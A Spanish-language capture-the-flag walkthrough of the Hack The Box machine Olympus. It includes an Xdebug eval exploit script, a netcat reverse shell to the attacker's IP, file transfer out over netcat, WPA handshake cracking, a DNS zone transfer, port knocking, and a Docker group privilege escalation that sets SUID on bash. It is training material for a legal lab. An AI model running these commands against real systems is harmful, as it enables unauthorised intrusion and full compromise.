lund@home:~$

Autor: Lund K. S.

HTB Olympus HTB Olympus | Hacker-Blog

HTB Olympus

Olympus {-}

Introduccion {-}

La maquina del dia 22/07/2021 se llama Olympus.

El replay del live se puede ver en Twitch: S4vitaar Olympus maquina

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.83

ttl: 63 -> maquina linux Recuerda que en cuanto a ttl 64 es igual a linux y 128 es igual a windows pero como estamos en hackthebox hay un nodo intermediario que hace que disminuya el ttl en una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.83

Si consideras que va muy lento, puedes utilizar los siguientes parametros para que valla mucho mas rapido

nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.10.83 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p53,80,2222 10.10.10.83 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
53 domain Domain zone transfer Un nombre de dominio
80 http whatweb, http-enum Checkear la web
2222 ssh conexion a la maquina Usuario contraseña

Empezamos por el puerto 80 {-}

Whatweb {-}

whatweb http://10.10.10.83

Nada interesante

Browsear la web {-}

Hay una imagen, se nos occure steganografia pero no hay nada.

El Wappalyzer no dice que el servidor web empleado es un Apache.

WFuzz {-}

Como no hay mucho mas que ver, aplicaremos fuzzing para descubrir si hay mas rutas.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.83/FUZZ

No hay nada, creamos un fichero de extensiones txt, php, html y fuzzeamos otravez.

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensions http://10.10.10.83/FUZZ.FUZ2Z

No hay nada.

Dig {-}

Dig a no confundir con dick ;) es una utilidad que nos permite recojer informaciones a nivel de dns.

  1. Añadir la ip y el hostname en el /etc/hosts

     10.10.10.83 olympus.htb
    
  2. Lanzar Dig para recojer informaciones

     dig @10.10.10.83 olympus.htb
    

No hay respuesta valida lo que quiere decir que el dominio no es valido

Checkear las cabezeras de las respuestas a lado del servidor {-}

curl -X GET -s "http://10.10.10.83/" -I

Curl_xdebug

Algo interessante en la respuesta es el Xdebug 2.5.5. Xdebug es una extension de PHP para hacer debug con haremientas depuracion tradicionales, desde el editor, tal como se hace en lenguajes de programacion clasicos. Mas informaciones sobre Xdebug en desarolloweb.com

Evaluacion de Vulnerabilidades {-}

searchsploit {-}

Checkeamos si existe un exploit relacionado con Xdebug 2.5.5

searchsploit xdebug

Hay un script en Ruby (Metasploit) que permitiria hacer execucion de commandos. Analizamos el exploit con el commando

searchsploit -x xdebug

Que hace el exploit?

  • esta tirando de index.php
  • se pone en escucha en el equipo de atacante en el puerto 9000
  • usa el comando eval
  • deposita en una ruta del servidor un fichero con su contenido en base64
  • ejecuta el fichero con php
  • la peticion esta enviada por el methodo GET con 'Cookie' => 'XDEBUG_SESSION=+rand_text_alphanumeric(10)'

Pruebas del exploit {-}

  1. Nos ponemos en escucha en el puerto 9000

     nc -nlvp 9000
    
  2. Enviamos un peticion GET con el XDEBUG_SESSION en cookie

     curl -s -X GET "http://10.10.10.83/index.php" -H "Cookie: XDEBUG_SESSION=EEEEE"
    

Recibimos datos del lado del servidor.

Explotacion de la vulnerabilidad {-}

Buscamos un exploit en github y encontramos un script cortito que vamos a modificar y llamar exploit_shell.py

#!/usr/bin/python3

import socket
import pdb

from base64 import b64encode

ip_port = ('0.0.0.0', 9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = input('>> ')
    data = data.encode('utf-8')
    conn.sendall(b'eval -i -- ' + b64encode(data) + b'\x00')
  1. Lanzamos el exploit

     python3 exploit_shell.py
    
  2. Lanzamos una peticion GET

     curl -s -X GET "http://10.10.10.83/index.php" -H "Cookie: XDEBUG_SESSION=EEEEE"
    
  3. En la mini shell abierta del exploit_shell.py lanzamos un whoami

     system('whoami')    
    
  4. En la respuesta del curl se nos pone www-data

El exploit funciona y el comando ifconfig nos da una ip que no es la 10.10.10.83. Quiere decir que estamos en un contenedor.

Explotacion de vulnerabilidad & Ganando acceso {-}

Ganando acceso con la vuln XDebug {-}

  1. Nos ponemos en escucha con netcat

     nc -nlvp 443
    
  2. Con el exploit exploit_shell.py lanzamos una reverse shell

     system('nc -e /bin/bash 10.10.14.20 443')
    

De esta manera, hemos ganado acceso al equipo.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <numero de filas> columns <numero de columnas>

Investigamos la maquina {-}

cd /home
#Output
zeus

ls /home/zeus
#Output
airgeddon

Airgeddon.cap crack with Aircrack-ng {-}

Airgeddon es una suite de utilidades para hacer auditorias wifi. Entrando en el repertorio airgeddon del usuario zeus encontramos otro repertorio llamado captured. Filtrando el contenido del directorio aigedon por ficheros find \-type f encontramos un fichero captured.cap

Vamos a transferir el fichero captured.cap a nuestro equipo de atacante

  1. En la maquina de atacante

     nc -nlvp 443 > captured.cap
    
  2. En el contenedor

     nc 10.10.14.28 443 < captured.cap
    

Sabiendo que Airgeddon es una utilidad de auditoria wifi intentamos ver lo que contiene el captured.cap con la utilidad aircrack-ng.

aircrack-ng captured-cap

aircrack-airgeddon

Se ve un ESSID que se llama To_cl0se_to_th3_Sun que parece turbio, y un handshake que significa que alguien a esperado que una victima se connecte o reconecte tras un ataque de deautentificacion y a recuperado el hash de autentificacion.

Analizando la captura con tshark se ve que a sido un ataque de deautentificacion

tshark -r captured.cap 2>/dev/null

o filtrado por deautentificacion

tshark -r captured.cap -Y "wlan.fc.type_subtype==12" -Tfields -e wlan.da 2>/dev/null

Crackeo con Aircrack-ng {-}

aircrack-ng -w /usr/share/wordlists/rockyou.txt captrured.cap

Este crack duraria aprox una hora.

Con investigacion S4vi a pillado una palabra flight en un fichero .txt y buscando por el dios griego del vuelo encontro que este dios seria icarus.

Para ganar tiempo, se crea un diccionario mas pequeñito que contiene la palabra icar

grep "icar" /usr/share/wordlists/rockyou.txt > dictionary.txt
aircrack-ng -w dictionary.txt captured.cap

Ya encontramos la contraseña.

Crackeo con John {-}

Extraemos lo que nos interesa del fichero captured.cap en un fichero mas pequeñito que se llama Captura.hccap que con la utilidad hccap2john no permite transformarlo en un hash compatible con John

aircrack-ng -J Captura captured.cap
hccap2john Captura.hccap > hash
john -wordlist=/usr/share/wordlists/rockyou.txt hash

Conexion a la maquina victima{-}

Ahora que tenemos un usuario potencial y una contraseña, intentamos conectar con ssh al puerto 2222

ssh icarus@10.10.10.83

Con la contraseña encontrada no nos funciona. Intentamos con el nombre turbio de esta red inalambrica como contraseña.

Y PA DENTRO

Investigacion de la maquina victima {-}

Hay un fichero que contiene un nombre de dominio valido ctfolympus.htb

Intentamos poner el nombre del dominio en el /etc/hosts pero la web sigue siendo la misma.

Sabiendo que el puerto 53 esta abierto y teniendo ahora un nombre de dominio valido, podemos hacer un ataque de transferencia de zona con dig

Ataque de transferencia de zona con dig {-}

El tito nos vuelve a decir que es muy importante no confundir la herramienta dig con dick. Dig esta en la categoria Ciencia y Tecnologia y la otra en la categoria HotTub ;)

dig @10.10.10.83 ctfolympus.htb

Como dig nos responde, ya podemos ir enumerando cosas

  1. Enumerar los mail servers

     dig @10.10.10.83 ctfolympus.htb mx
    
  2. Intentamos un ataque axfr

     dig @10.10.10.83 ctfolympus.htb axfr
    

    dig-ctfolympus

Se puede ver que hay un usuario y una contraseña potencial en un TXT con una lista de puertos. La idea aqui seria de hacer un Port Knocking

Port Knocking {-}

En este caso la idea seria conectarse al puerto 22 (es una suposicion). El problema es que este puerto esta cerrado. La idea de la tecnica de Port Knocking es que si el atacante golpea unos puertos en un orden definido, por iptables se puede exponer o bloquear un puerto.

nmap -p3456,8234,62431,22 --open -T5 -v -n 10.10.10.83 -r

[!] NOTAS: El argumento -r es para decir a NMAP de scanear los puertos en este mismo orden

Lanzando el comando multiples veces, NMAP nos reporta ahora que el puerto 22 esta ya abierto. Lo que se puede hacer es, de seguida despues del Port Knocking con nmap, lanzar un comando ssh a la maquina.

nmap -p3456,8234,62431,22 --open -T5 -v -n 10.10.10.83 -r && ssh prometheus@10.10.10.83

Perfecto se nos pregunta por una contraseña Y PA DENTRO

En este momento ya se puede ver la flag user.txt y Podemos pasar a la fase de escalacion de privilegios.

Escalacion de privilegios {-}

Enumeracion del usuario en la maquina victima {-}

whoami
id

Ya es sufficiente aqui porque ya se puede ver quel usuario esta en el grupo Docker.

Escalacion de privilegios con Docker {-}

  1. Checkear las imagenes Docker existentes

     docker ps
    
  2. Utilizar una imagen existente para crear un contenedor y mountarle la raiz del systema en el contenedor

     docker run --rm -it -v /:/mnt rodhes bash
     cd /mnt/root/
     cat root.txt
    
  3. Escalar privilegios en la maquina real

    • en el contenedor

        cd /mnt/bin
        chmod 4755 bash
        exit
      
    • en la maquina real

        bash -p
        whoami
      
        #Output
        root
      

aircrack-airgeddon